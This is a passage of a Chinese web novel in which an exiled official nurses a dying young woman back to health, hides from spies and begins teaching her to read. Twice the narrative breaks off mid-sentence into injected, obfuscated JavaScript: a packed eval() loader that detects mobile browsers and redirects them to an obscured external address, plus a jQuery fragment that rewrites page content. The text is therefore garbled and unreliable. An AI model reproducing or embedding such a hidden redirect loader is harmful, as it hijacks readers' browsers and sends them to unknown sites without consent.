“郎君事繁，先前不敢叨扰，只是晌午后便连水也喂不进了，接连请了四五位颇有声望的大夫来看过，都束手无策，这才向您通禀。” 崔述沉默片刻，微垂双眸，淡说：“是我不周，路上竟没察觉，还当她的病已好了，不想竟到了这般地步。” “也怪不得郎君，这姑娘要强，想是怕耽误行程，一直强撑着呢。”束关罕见地说人一次闲话，“实是有些可惜，这姑娘为人倒是挑不出错，吃了这么多苦头，好容易捱到头了，却行将末路。” “水。”崔述冲他伸手，打断了他这番感慨。 束关端来一碗清水，崔述敛衽在杌子上坐下，执勺将水喂给周缨。 连试三次，紧扣的齿关都将续命之物拒之于外，崔述默然片刻，将碗递还给束关，起身吩咐道：“预备着吧，明日一早去置副好板，顺便请个裁缝，将衣服先备起来。” “是。”话音落下，崔述人已出了门，束关摇头低叹一声，将门窗重新闭合。 重新誊写完案卷时天已四鼓，暗巷当中静寂得只闻虫鸟啼鸣。灯烛将尽，崔述屈身吹灯时，无意间瞥见昨晚那份因分神而被毁掉的卷轴。 他将其重新铺开，目光快速掠过其上字迹，定格在那团墨点上，心头忽地一跳。 原来生命力如此顽强的野草，竟也会这样脆弱。 他走出书房，在檐下站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐涣眼中似有水花闪烁，微微仰头止住情绪，疾步下阶，将他周身端量一遍，方颤声说：“原是金蝉脱壳。我就说，除非有人暗中作祟，否则崔家三郎怎会命丧流放途中？” “社稷罪臣，便是当真死了，也不值得徐公泣泪。” “你披枷戴锁出京之日，我尚去送你一程，而今会听你这些胡诌？”徐涣扣住他左腕，片刻过后又松开，再抬眼时，情绪已完全敛藏，用素日稳重的声音说，“你既使计隐匿身份，今日又来寻我，想来有事要我帮忙，且说来听听。” “想请您接孙太医出宫救个急。” 徐涣蓦然抬眼：“孙太医？你受了重伤？” 崔述摇头：“我身边……”迟疑了下，似是不知该如何解释，遂径直道，“有一姑娘性命垂危，市井郎中无力回天，寄望孙圣手阎王跟前留人一命。” “姑娘？”徐涣似是怀疑自个儿听岔了，疑惑地睃着他，但终究没往下问，只说，“既如此，为何不去寻你父亲？孙太医虽难请动，但和你父亲早年间还算有几分交情。” 崔述默然片刻，举袖再拜：“回京之后，尚未见过故人，今来叨扰徐公，实属冒昧。” “你既不回家也不访师，反求到我门下，我若不应，岂非伤了你的面子？”徐涣乐出声来，“你小子，吃定我了这是。” “这忙我帮了，你将住处告知于我，我来安排，你勿露面。孙太医虽悬壶济世，但毕竟在御前行走。” 崔述应下，正要告辞，又听徐涣叮嘱道：“往后多留心。就这点儿事，值得你暴露行踪？你而今还是朝廷重犯，怎是如此不知轻重之人？” “但凡在朝官跟前露了行迹，我自己出面与派人前来并无区别。徐公威望在此，若派小卒代为传达，是为不尊。”崔述拜谢，“负人之托，心中有愧，当走这一趟。” 21. 暗风吹雨（二） 徐涣引孙太医踏进布置一新的小院，崔述主仆皆回避，临时新添置的丫鬟仆役各从其事。院落虽小，但诸事井井有条，还算不失徐涣身份，不致引起怀疑。 孙太医号过脉，仔细询问近日病症，伺候在旁的婆子亦了如指掌对答如流，未露分毫破绽。 “积症已久，用猛方或有一线生机。”孙太医沉吟良久，同徐涣道。 “还请圣手施救。”徐涣思虑片刻，替崔述做下决定。 等徐涣送孙太医出去，丫鬟仆役退走，束关先一步进来，瞧见眼前的场景便定住了步子。 周缨被布帛固定在圈椅上，心口以上及面中各处穴位扎着粗细不一的十余根银针，人虽还陷在昏迷之中，但仍可感知到她所承受的巨大痛苦。 瘦弱的腰肢时不时地顶起，又被布帛束缚住，身子承受不了的痛楚便加倍于尚有半分自由的双肩，在椅背上惊起一声又一声的撞击，带动得圈椅小步小步地往后挪移。 “寻椅袱来。”崔述行至椅前，将手搭在椅背上，用十指减弱她硌人的脊骨与椅背之间的撞击。 奉和取来一张暗绣竹枝纹的椅袱，崔述接过搭在椅背上，方取出轻微刺痛的双手，扣在周缨肩胛骨上，强行止住了她的动静。 徐涣返身回来，同崔述道：“孙太医交代，若今日间能呕出积压在心口的淤堵，喝完药便无虞，日后好生休养一段时日即可，若不能，合该是她命薄。” “我知道了，谢过徐公。” 徐涣目光落在他手上，平素极重礼数的人，却连腾手行礼的功夫也无。执笔有千钧之力的一双手，此刻指骨微凸，青筋隐现，显然用了七八成力。目光再上移至他眉目间，见他眼中血丝遍布，遂揶揄道：“一宿没睡？” 崔述不知他何意，茫然点头：“是。” 徐涣朗声大笑，迈开大步朝外走去。 “奉和，送客。”崔述招呼仆役代行主人之礼，依旧未曾挪步。 红日光影渐渐打在东墙上，熏风将墙角的蔷薇芬芳送进来，周缨不知是已感知不到痛楚，还是已然力竭，许久不再有动静，崔述迟疑半晌，终于松开手，举步走出房间。 身后忽然传来束关的惊喜之声，他一转头，便瞧见青砖上散落着的暗色血渍。 圣手出山，阎王也惧三分。 盘桓在心头的那抹不安倏然褪去，转而涌上一阵窃喜。 他疾步返回周缨跟前，依次取下尖端发黑的银针，解开布帛，亲自将人抱回榻上，又吩咐束关去取药。 束关怔愣地注视着他这一连串动作，片刻后才领命而去。 药刚煎好，还烫得厉害，等晾凉后，束关正要上前，却见崔述已亲自端起药碗，于杌子上落座，只好放轻脚步，悄悄退了出来。 周缨似被梦魇住，眉头皱作一团，精力也仿佛突然恢复了两成，竟时不时地拳打脚踢一番，力道虽小，动作幅度却大，一碗药喂了三分洒了七分。 犹豫半晌，崔述无奈将她双腕交叠扣在身前，将碗搁至榻沿，单手将剩余的小半碗药慢慢喂给她。 及至踏出此间时，天色已转漆黑，他甩了甩发酸的左腕，吩咐束关：“好生照看着，等情况好些，让奉和另外寻处宅子落脚。”说罢转身离开，直至周缨好转到可以下地，再未踏足一步。 - 周缨叩响书房门的那一日，玉京已连续下了三日的雨。 潮雨霏霏，小院墙角的一溜绿植被打得七零八落，在雨里歪歪倒倒。 那时已近薄暮，院中笼着一层朦胧的雾气，周缨叩门三声，不闻声响，便站在廊下，看向那株犹自□□的榆树。 片刻过后，里面平平地应了一声：“进来。” 周缨推开门，桌案后的人头也未抬，靠坐在玫瑰椅上，左手执着一卷书，神态专注，却又透出一丝浅浅的倦态。 从菱花窗中吹来的风带来微凉的雨珠，周缨立在窗前，往外看去，相距一尺是一道斑驳的土墙，其上灰泥脱落，墙根上爬满幽绿的苔衣，自成一方天地。 “怎么？”终于觉察出来人举动与以往不同，崔述自书中抬眸，却见不是奉和，微微一怔，“你怎么来了？” 周缨收回目光，端着漆盘走到近前，将一碗冒着热气的汤圆放至案上，说：“太晚了，该吃饭了，奉和说不敢来打搅你，我却不懂什么规矩，只知事情再多，也要垫垫肚子才有力气忙活。” “我知道了，晚些吃。”崔述目光落在她仍旧隐隐发青的脸上，“身子好些了？” “好些了。”周缨顿了顿，又说，“当日一别，本以为不会再有牵扯的，没想到又闹出这一出，又给你添麻烦了。” “举手之劳，不足挂齿。”崔述语气淡淡，眉目间亦不见半分情绪，目光在她身上轻轻一扫，见身形仍旧消瘦，复又落在书页上，“你身子还未好全，多休息，少思虑。” “嗯。” 周缨简单应过一句，似还有话要说，崔述先一步截断了她的话头：“若是辞行，大可不必。你在玉京举目无亲，如今去哪里安身？” “自有营生之路，不见得就会露宿街头。”周缨颇有些不服气。 崔述“嗤”地一笑，右手食指轻敲书页，并不说话，重新看起书来。 自觉被嘲笑不自量力，周缨面子上挂不住，但转念一想，也与他没什么好争论的，便准备回去收拾行头，明日一早离开，方转过身来，便听雨打得窗棂噼啪作响。 初夏的天说变脸就变脸，她上前将后窗关上，一转头瞧见他仍在看书，碗搁在一侧纹丝未动，心中来气，快走两步到案前，劈手夺过他手中的书。 崔述脸色微变，盯着她手中的书卷，眼神藏锋。 相识半载，周缨从未见过他这般神色，一时怔在原地，不知该进还是退。 见她反而局促，崔述铁青的面色舒缓开来：“怎么？” 周缨似被人掐去了半截茎叶的草木似的，蔫儿了下来：“你先吃点东西，奉和说你午间便只动了几筷，等吃完我还你。” 崔述莫名一笑，应了声“好”，将那只青瓷碗端至案中，执勺慢慢吃起来。 屋内尚未燃灯，薄雾从隙开一半的前窗涌进来，周缨在靠墙的位置自寻了把圈椅坐下，掩饰被方才的出格举动所带起的慌乱，借着朦胧的天光去瞧他，恰能将他高挺的鼻梁一览无余。 汤圆皮薄馅厚，轻咬一口，芝麻的清香便溢满齿间。崔述尝了一口，便 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屋内亮如白昼，将她的长睫也映照得根根分明，在眼下投下一圈淡淡的阴影。 “饿了便叫奉和，厨房替你煨着菜。”周缨直起身子，叮嘱他。 “好。”崔述伸手拿过书卷，简单应了一句。 瞧他目光竟有些躲闪，与素日大相径庭，周缨生出几分逗他的心思，便说：“你吃东西，挺像我以前养的兔子。” 崔述翻书的手一滞，抬头看她：“什么？” 周缨微鼓腮帮，上下齿连续轻碰，侧颊稍动，模仿起兔子的进食姿态：“小口小口，不快不慢，像在吃什么天上的蟠桃一样，不仔细品尝就是糟践，其实不过就是窝边一把平平无奇的青草。” 崔述嗤笑出声，倒不是笑她这乱七八糟的说辞，而是她微眯着眼鼓动腮帮的这副模样实有几分憨态可掬。 “不饿也早些睡，伤眼。”周缨双手举过头顶，在耳侧微弯，佯作兔耳，冲他一笑，拿过漆盘出了房间。 等门阖上，崔述方发觉自个儿唇边竟还挂着一丝笑意。 束关在此时叩门进来，禀报道：“方才巷内出现两名探子盘桓，暂未查出来路。徐公行事虽谨慎，终归不能做到天|衣无缝。探子虽暂时还没查到咱们这处宅子，但不过朝夕间的事，还请郎君示下，如何处理？” 崔述将嘴角的弧度缓缓压下来，分析道：“徐公身为要员，请孙太医出宫不算小事，有人生奇想一探究竟也不足为奇，距今也有几日了，摸到此处来也正常。但若仅凭此点行迹便怀疑到我头上来，恐……” “郑副使嫌疑最大。”束关接道。 崔述没往下接话，转而问道：“宅子寻得如何了？” “奉和已初步定下了，在净波门，还算清幽，不过离贵人宅邸稍远，往来不便。” “无妨。”崔述说，“我瞧她那模样，精力应恢复了些，出行当无大碍。速布好暲眼法，即刻搬走。” 束关领命，又听他吩咐道：“若没探出究竟便罢，若露了行迹，”他语气仍如往昔平淡，“杀。” 22. 暗风吹雨（三） 束关到西厢传达转移之令时，周缨已收拾好为数不多的行头，正站在窗前思索明日的告别之辞，闻言转身，疑惑道：“怎突然要搬？” “郎君身份问题，怕走漏消息。”束关答得含糊。 周缨思忖片刻，直直地看着他，试图打探真相：“依我这几日所见，你们主仆行事小心，等闲绝不和外人往来，不该露了行迹，是因为替我治病？” “姑娘多心了。” “我虽不知你们到底是什么身份，也不知你们在做什么事，但我知道你家郎君始终是个逃犯，既然有暴露的风险，那你们尽快搬走吧。” 本就打算辞别，如今既因自个儿连累旁人，更没有再留的道理，周缨拿过案上的包袱便往外走：“事情因我而起，没有再继续拖累你们的道理，我今晚便去客栈落脚。” 束关“诶”了一声，试图阻拦，又收回了手，终是没说什么。 周缨行事惯来利落，只他犹疑的这片刻，已经行至回廊上。路过书房时，她不自觉地放缓脚步，犹豫是否该进去同崔述正式道个别，但念头一转，终是放轻脚步，悄悄往院门溜去。 刚取下门闩，将门隙开一条缝，身后便传来一声隐带怒意的呵斥——“站住。” 鞋底如灌牛胶，周缨走也不是，不走也不是。 身后脚步声逼近，停在一尺开外，淡淡的竹沥清香窜入鼻间，险些令她目眩。 “我当你懂几分礼，谁教得你这样不辞而别的道理？” 这还是崔述头一回对她说重话，周缨本就不占理，此刻更是讪讪：“我本想同你打声招呼，但猜你要拦——” 话被崔述冷硬截断：“精力恢复得不错？都能偷溜了？” “倒也不算偷溜。” 毕竟束关在场，会同他转达。 这般一想，周缨心中的愧疚与忐忑消了一半，便将心中想法和盘托出：“横竖早晚要走，你总不能关照我一辈子。过去的事，在我这里早已两清了，如今我欠你更多，受人恩惠，我心中已然很惶恐了，再住下去更是于心不安。你对我也并没有什么照顾之责，不必为我连累自个儿。” 倒没想到她能说出这样一番合情合理的话，崔述一时竟被她唬住，没有出声。 沿飞檐斜飞而下的雨水将他的袍袖飘湿，衣色显深，周缨目光落在其上，只觉那团墨晕在眼底洇开，幻化出无际无涯的薄暮青山来。 好一阵后，她才敛神行礼：“就此别过。” 老旧斑驳的木门“吱呀”一声，浅色衣袂一闪而过，消失在门后。 束关抱着短剑倚在廊柱上，默然垂下眼。 “去，把人找着，接到净波门去。”好半晌，崔述才回头看他，面上神色如常，语音却隐含一丝轻颤。 “聋了？”瞧他不动，崔述又补了一句，显然含了怒气。 “周姑娘性子倔，未必肯随我去。” “你自个儿想法子。”崔述拂袖而去，徒留束关有苦难言。 人生地不熟，周缨在巷中盘桓一阵，东拐西绕寻到坊中一间客栈，思虑一阵，又觉这间离得太近不大妥当，当即问到坊门方向，往坊外走去。 身子先前亏耗太多，如今至多只恢复三成，体力不支，她走得极慢，关闭坊门的暮鼓声响起时，她还尚未找到落脚之处。 雨夜里为数不多的路人各个行色匆匆，周缨拦住一人问路，那人往东一指：“那里有间客栈，快去，其他来不及了。” 周缨道过谢，收了伞，用伞柄点地，撑着身子往东走，脚底越发虚浮，及至要上台阶时，忽听束关在后头唤她：“周姑娘。” 握住伞柄的手骤然收紧，攥得手指发白。 “周姑娘。”束关再唤。 四周俱静，只余雨打石板街巷的空空声响，人声在这其间清晰无比，她要再装没听到已是不可能，但她迟疑片刻，仍是拾阶而上，只作不知。 行将走出去一步，便被人从后拦腰扛起，束关道一声得罪，将她强行塞进马车：“宵禁将至，周姑娘若再耽误时间，必引来盘查，若牵扯出郎君，恐非小事。” 此话一出，周缨果真不再抗争：“行，你带我过去，我当面同他说。” 良马疾驰，终于赶在坊门关闭前通过净波门，再沿玉素河畔西行两里，在一座古朴雅致的院落前停下。 甫一踏上实地，周缨便忍不住扶着车辕干呕起来，脸上白得几无一点血色。 束关握缰候在一侧，待她缓过来，将人交给奉和领进院，自个儿牵着马从侧门进了马厩。 奉和接过她手中的唯一一只包袱，引她入院，似知道她要问什么似的，先一步道：“郎君过来的路上临时有要事，转去了京郊，周姑娘眼下暂时见不到人，先歇息一晚再说。” 周缨心中隐有怒气，没有吭声。 奉和引她往里走，此间是一处二进院落，比先前那所小院要宽敞上许多，奉和指着垂花门说：“先前地方小，委屈了姑娘一段时日。往后姑娘便在后院住着，若有吩咐，到前头打声招呼就是。” “他什么时候回来？” 奉和听她语气不大好，迟疑片刻才说：“已经宵禁，料想今晚不会回了，姑娘先休息一晚，再有什么话，也明早再说，身子要紧。” 周缨没出声，奉和赔着笑说：“热水饭菜都给您备好了，您先休整一晚，明早再说别的，不然等郎君回来，又得怪罪我俩没照顾好您。” 见他神色谦恭，周缨反倒觉得自己无礼，心知强要她来此也非他二人能够做主之事，脸色松缓下来，同他道声辛苦，进了内院。 夜里半醒半眠，天色刚转青时周缨便起了身，等门外传来轻微响动，便立即带上包袱出了二门。 崔述昨夜半途被人接走，来去匆匆，眼下人刚回来，奉和赶紧忙前忙后地预备热水吃食。 二人正说着话，风里传来二门洞开的声音。 崔述站在檐下，解下斗笠递给奉和，隔着雾蒙蒙的天色看过来。 雨帘萧疏，周缨其实看不清他的神情，却恍惚间被他那双幽遂沉静的双眸慑住，积攒一宿的怒气不自觉地就散了大半。 “过来。”崔述语气中似淬了夜雨的寒。 周缨随他前往花厅，奉和原已预备好洗沐用具，此刻只好先按下不表，先替隐有硝烟味的二人呈上一壶热茶。 “坐 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“探子目前还没有查到我头上不假。”崔述以杯盖推去茶沫，带起轻微的叮叮声，“但世上没有不透风的墙，当日见过你的人不少，你此刻若去市井游荡，你且试试看，会不会被人盯上。” 心骤提到嗓子眼儿，周缨强自道：“但我留在这里，亦免不了牵连……” “我是朝廷要犯，倘若被揪出蛛丝马迹，不知多少人会立刻设法送我上黄泉路，少不得要从你嘴里撬几句话。”崔述把玩着手中的茶杯，漫不经心地说，“倘若我脱逃一罪坐实，罪加一等，当判充军。” 周缨终于败下阵来，不接茬了。 “你先住下，安心休养，束关会留意着周边动静，出不了大差错。可你若独自出去，如今多事之秋，我没有多余的人可以暗中护你，保不齐你会露了马脚被人盯上，落入他人手中。” 崔述站起身来，灯盏被遮住，周缨亦被笼罩在他的身形之下。眼前光线暗淡下来，她的声音也跟着莫名低了下去：“那要住到什么时候？” “待你身子恢复，大夫看过说无虞，再提后话。”崔述语气已然恢复往日模样，再寻不见半分先前恼火的影子。 “那你何日能脱险？” 他一日怕在官府跟前现身，她便一日踏不出这院门，否则便是蓄意将他置于险境。 思及此处，周缨惊觉她更忧虑的竟不是自己何时能离开，好断了这份藕断丝连的恩情，而是他究竟何时才能正大光明地行于日月之下。 可他毕竟被判流刑，还于半途故意脱逃，没有一桩不是大罪。 周缨眉目渐冷，似沾染了晨霜。 “脱险”这词用得怪异，崔述瞥她一眼，只说：“无法确定。但到了那一日，我没有圈着你的必要，自会由你离去。” 他说罢转身往卧房走，周缨抬眼觑他，才发觉他后背已被雨水洇染成深青色，周身几乎已湿透了，走过的青砖上，留下一道串延成线的水渍。 “周缨，你不是个拧巴的人，与其将心思放在这上面，”崔述回头看她一眼，“不若得闲时认真想想，待养好身子，日后究竟要做什么。” “天地之大，你要凭何安身，凭何立命，凭何圆志。” 23. 暗风吹雨（四） 崔述并未听到周缨亲口告诉他答案。 只是到窗外蝉鸣声此起彼伏的时节时，他再次尝到了一碗口感与记忆中并无二致的阳春面。 他搁下筷子，疑惑地看向奉和。 奉和瞧他面色不豫，当是一眼看破，忙替自己开脱：“不是我偷懒，实在是周姑娘起得太早，我刚进厨房她就已经将一切都收拾妥当了，只等着您起了好将面下锅，我倒也不好抢这最后一下子。 “我瞧周姑娘当大好了，面色不错，精力也基本恢复了。她那性子，您让她在这儿白吃白住的，她也不能安心，这点小事，她若有心要做，依我看，倒也不必拦。” 崔述闻言，沉默片刻，重新执起箸筷，待吃完后，才说：“我出去一趟。” 知他这是已默认此事的意思，奉和忙去准备车马，行至廊下时，悄悄冲周缨比了个过关的手势。 至此崔述还未发现有何不对劲，直到隔日偶然得了个契机，他外出办事时临时折返回书房取东西，回来时不曾瞧见奉和，却见二门开着，心生疑窦，本欲派束关进去瞧瞧，但束关未曾随他下车进院里，也不好舍近求远，只得自个儿提步进了内院。 这还是搬过来两月有余后，他头一回涉足后院。 院中花圃被周缨打理得井井有条，这时节色作斑斓，芳香沁人。 明间里传来细碎的说话声，崔述走近，听到奉和说：“周姑娘，这些纸墨是我从郎君书房拿的，你先用着，我这两日有事不得闲，待我下回出去，再替你多买些回来。” 两人多说了两句，奉和急急出来，差点一头撞上门口的崔述，登时睁圆双目，正要出声解释，见崔述比了个退下的手势，只得紧咬尺关，猫一样蹿了出去。 崔述踏进明间时，周缨正伏在窗下的桌案上写字。 听见脚步声，她噌地站起身来，下意识地将桌上之物揽作一团挡在身后。 崔述淡含三分笑意看她。 周缨一急，反手将身后的纸笺抓在手中，还未及揉作一团，崔述已经走至近前，右手绕过她身侧，按在了纸上。 周缨拦在中间，僵持不动。 崔述不动声色地看着她。 半晌，周缨终于败下阵来，那纸便落入了崔述手中。 歪歪扭扭的字迹落入眼中，崔述唇边笑意敛去，抬眼去瞧周缨，她已臊得满脸通红，俨然无地自容。 她这人无论何时都一副绝不理亏的阵势，这反应倒叫他生奇，生出些逗弄她的恶劣：“奉和偷拿这一锭价值一金的墨给你，便是给你这般用的？” “一锭一金？”周缨讶异地张圆了嘴。 崔述“嗯”了一声：“徽墨。” 周缨倒是不懂徽墨的名贵之处，只是这等同金价的墨价着实令她咂舌，心说难怪穷人读不起书，慌忙拿绢帕将沾了水的墨锭擦干，又取过一张新纸包裹叠好，手忙脚乱地塞到他怀中：“算我欠你的，日后一定想法还你。” 崔述哑然失笑。 周缨脸从耳垂红到脖子根，越发臊得站不住，只想绕开他躲出去，谁知脚刚迈出去一步，崔述便正了色，拿起桌上那本奉和随意偷拿过来的《齐述》，同她道：“这书不适合你。读书习字要讲章法，你这样照猫画虎，不得其法，事倍功半。我如今身边人少，奉和身上事也多，恐怕没心思教你。” “我没耽误他，只是让他帮我买些东西进来。”周缨垂着头同他解释，“我没那个身手，也不敢出去，怕暴露了你的行踪，更别说缠着他了，他来去匆匆的，我便是想缠也没那个本事。” “我非此意。你既有了答案，合该早些告诉我。”崔述将那枚墨锭放回桌案上，细细打量了她一眼，见她消瘦渐褪，下颌的弧度也较先前柔和了些许，略想了一想，说，“往后，你卯时到外院书房来。” 周缨先是意外，后又卯足了劲儿摇头。 “怎么？”崔述低头瞧她，“我虽算不得大家，教你倒还教得。” “我没说这个。”周缨实话实说，“我不知道你的身份，也不知道你在做些什么，但我猜得出来不简单，你要么早出晚归，要么就是在书房一坐一整日的，恐怕没那个时间精力教我，我不想耽误你。” “不算耽误。” 这声儿极低，周缨茫然抬头：“什么?” 崔述却已正色，见她耳垂上的一点红渐渐褪去，移开眼说：“所以卯时准点，若晚了，我便没这闲功夫了。” 要事在身，他说罢便转身出去了，只耽搁了这一会儿功夫，便将步子迈得极大，行色匆匆，但仪态却仍旧雅极，周缨拾起那枚墨锭，无意识地抿了抿唇。 第二日，崔述方从卧房出来，便见周缨已经候在书房门口了。 她惯来不是极其拧巴的性子，上回怕欠人情非要离开，经他一分析利弊也就安心住了下来，何况他在翠竹山中那间老屋里便已见过她对识字读书的渴望，对她今日的赴约，他毫不意外。 崔述推开书房门，问她：“既来得早，为何不先进去？” “怕里头有我不能碰的东西。” 崔述失笑。 晨间微凉的风将他的低笑送入耳中，心知他是在嘲笑她连大字都不识一个，就算里边有些东西又能如何，周缨心下微恼，一跺脚跟他进了书房。 崔述打开支摘窗，点燃案上的灯盏，让她在案后落座。 周缨瞧着那张过于宽大的花梨木书案便有些发怵，一鼓劲儿才勉强坐了下来，等他转身时，悄悄吐出一口气。 崔述手中拿着两本薄薄的书册过来，她的目光便直勾勾地落在其上。 偏头看那册子一眼，崔述又回过头来看她：“我先问一句，你是想识字以便日后立足营生，还是当真想读书明理？”见她张口便要答，又说，“想清楚些。” 清晨时分，净波门外仍旧一片阒寂，风拂书页，带起沙沙轻响。 周缨微微埋首，不过须臾，又抬起头直视崔述，眸中似有亮光。 “好了，你不必答了，我知晓了。”崔述神色比平常还要肃然，声音也透出一丝庄重，“既是你自己要学，而非旁人逼迫，今日这话，你便记到心里，倘若往后我问起时你忘了，便不必继续。” 他如此郑重，周缨心中平添几分紧张，眼珠子转了几圈，终又看回那本书册，似懂非懂地点了点头。 “读书之道，非一日之功，今日开了这头，切忌半途而废。”崔述放慢语速，直视着她的眼睛，缓慢而郑重地说，“读书既是件乐事，也是件苦事，或许并非如你在门外时所想的那般轻松与有趣。 “再者，学之一道，有快有慢，各有不同，你未必会很快取得预想中的进益。 “一旦入此道，望你能做个恒毅之人，不计眼前得失，只管用心。 “丑话在先，往后每日卯时到书房，风雨不误，若有一日懈怠，便不必再来。” “好。”周缨平视前方，目光虚虚透过窗棂，落在那堵斑驳的土墙上。 崔述将那两本册子搁至案上，右手轻抚其上。 那是一只极好看的手，修长，瘦直，骨节分明，握笔之处虽有厚茧，但不减其色，反添一段可供遐想的经历，不免使人多看一眼。 周缨握在身前的手下意识地绞紧。 她的手是做惯了农活的手，虽自平山县启程后，便再没做过粗活，但经年累月留下的痕迹却难以在这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504381|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短的时间内消弥，掌心依旧粗糙，虎口上残存着与镰刀柄与锄柄长年亲密而致的厚茧。 “我空暇不多，识字练字并为一课，待你能将常用字识全写会，便教你从简单的书读起。至于书法上能否有些造诣，则靠你自行用功领悟。” 崔述站至周缨身侧，执起一只莲叶砚滴往砚台中注水，墨锭在砚台中逐渐化成墨汁，淡淡的墨香四溢开来。 “为学之初，多看多练。” 羊毫蘸墨，于纸上落下“周缨”二字。 “识字并非识音会形懂义即可，字之结构亦是重之中重。”崔述将笔搁于笔枕上，说道，“你明明记得这字是何模样，却写不出正确的字形来，盖因不懂此字结构。” 崔述重新执起笔，将二字拆分成最为基础的笔画，同她细细讲来，再将笔画辅以结构，最终重新组成一个完整的字。 周缨坐在椅中，微微侧身看他挽袖落笔，心在胸腔中隐隐跳跃，升腾起一股莫名的慌乱。 羊毫被递至她身前，崔述道：“学之初，模仿始，你来试试。” 周缨踯躅片刻，接过笔来，回忆着他握笔的姿势，摆出相同模样。 将要落笔时，崔述突然伸手过来，左手掌住笔杆，右手触上她的手指，调整她握笔的姿势与距离。 周缨身子微僵，余光将他几要贴近自个儿脸颊的侧脸收入眼中，心中浮起一阵做贼似的慌乱，忙坐正身子，集中注意力于手中之笔，待他撤回手，慌忙提笔模仿着勾画字形。 崔述站在一旁看着，待她临摹了十遍，悻悻放笔，惶惑地瞅着纸上那忽轻忽重的笔迹和歪歪斜斜的笔画，才说：“初学写字，控笔自然困难，不必沮丧。你花费多少精力，日后都会于纸上一览无余。” 周缨侧头看他，他肯定地点了点头，她便重新拿起笔，继续描摹起来。 断断续续地将这二字写了数十遍，人乏灯倦，周缨挺直的脊背微弯了半分，崔述阅过纸上勉强成形的字，屈指在案沿轻扣两下，说：“你读书习字得晚——” 此话被她截断：“年纪大，便不当学么？” 周缨微鼓着腮帮，一副不服气的模样。 崔述唇微弯，旋即正色道：“晚自有晚的好处，精力与自控力自然比孩提要强些。初开蒙进学的孩童一日能学十字便已不错，你既整日无所事事，我今日便定下规矩，先教你简单易学之字，一日五十字，后面学复杂的，可以降为三十。” 周缨尚不知这话背后的含义，只懵懂点了下头。 “会音，辨义，拆解，抄写，一字少于百遍，算不得学会，更不能记牢。”崔述看向即将大敞的天色，心说虽有些揠苗助长，但她这样的心性，应当扛得住，便将那两本书册拿过，翻开来，逐字同她细细讲解。 连解十字，周缨尚还可以招架，再继续往下，最前面的便已忘得七零八落，她至此才知这话说来轻巧，但要真正做到并不易，自个儿也非天赋卓绝之徒，只得强逼自己重新聚起所有精力，竖着耳朵听崔述讲解，试图把他口中吐出的每一字都记到心里。 直至天光大亮，奉和来叫二人吃饭，今日早课才算结束。 周缨揉着手腕随崔述往外走，慨叹道：“往常看你们读书人，总觉得神气，羡慕得很，这样看来也不很容易。” 崔述顿住脚，说：“识字不过开端，真读起书来，书山文海，非一日之功。若无恒心，不如趁早放弃，你可以再考虑考虑。” “莫瞧不起人。”周缨跟在他身后，一不留神撞到他背上，揉着额头小声嘀咕，“待我学会，定叫你心服口服地收回这话。” “好。”崔述负手走在前头，风里传来一丝轻微的笑意。 24. 暗风吹雨（五） 连日晴阳，午后地上似铺着一层热浪，周缨被院内的石砖烫得加快了步子。 她走向墙根处的石井，转动辘轳上的木柄，将绳索收紧，一只被麻绳缠绕固定的西瓜冒出井沿，周缨解开绳索，将冰凉的西瓜拿回厨房，取一半去皮切成小块，端至书房门外，轻轻叩了叩门。 奉和侍立在侧打扇，满耳充斥着聒噪的蝉鸣，心生烦躁。 崔述恍若未闻，运笔飞快，全然未觉，奉和只好提醒道：“周姑娘来了。” “这时候，她来做什么？”崔述头也未抬，“请进来吧。” 门吱呀一声，周缨端着漆盘进来，奉和忙迎上去接过，口中说着：“周姑娘费心，郎君不大爱吃瓜果，这大热的天，还是多歇着。”说罢瞧见漆盘上方冒着丝丝白汽，咧着嘴将漆盘放至案缘，“这瞧着倒还解暑，郎君尝尝。” 崔述没接话，奉和又转头同周缨搭话：“姑娘用井水镇的？” “乡下没有冰窖，大家夏日里都是用井水镇瓜果。”周缨点头，“我还打了桶水镇着些李子，想吃便去厨房取，我先出去，不打搅了。” 周缨侧身往外走，余光瞥见崔述执箸取过一片，浅浅尝了一小口，似觉得还算香甜，又埋头咬了一口，她转头笑着同奉和说：“我给束关送些去，厨房里还有多的，若不够自己去取。” “好嘞。”奉和一口咬下一大块，笑说，“也不比冰湃的差，不坏肠胃，又还凉快。” 周缨带上门，连绵不休的蝉鸣没了门窗的阻隔，愈发无法无天，震得她脑仁儿一阵一阵的疼。 给束关也送完瓜回来，她从灶下找出三根长约一尺的细竹竿，用麻藤将其依次首尾相连绑好，再用竹篾卷成竹圈插入竹管末端固定，随即拿着这根长竹竿四处走动，将好不容易寻觅到的蛛网搅缠在末端的竹圈上。 待蛛网渐趋细密，周缨用两指试了试粘性，踏着扑面而来的热浪走进院中，站至书房门口的榆树下。 丝毫没有察觉的知了仍旧扯着嗓子发出尖利的叫喊，周缨逡巡树干一周，迅即出手，“啪”地将缠着蛛网的竹圈盖至树干上，蝉鸣声戛然而止。 周缨收回竹竿，将落网的夏蝉扯下扔进竿尾系着的麻袋中束好口，再度警惕地盯着树上的动静。 折腾一刻多钟，这棵榆树上的知了被连根拔起，周缨抬手，用袖子擦了擦额上的汗珠，又打来一桶清水，用瓢往院中泼水降温，做完这一切，才悄无声息地撤出庭院。 榆树树荫掩映下的窗畔，崔述沉默着收回目光。 重新回到书案后头，又提笔演算了一炷香|功夫，他才将笔搁下，推开门走至廊下，侵袭的热浪与刺眼的日光令他虚虚闭眼。 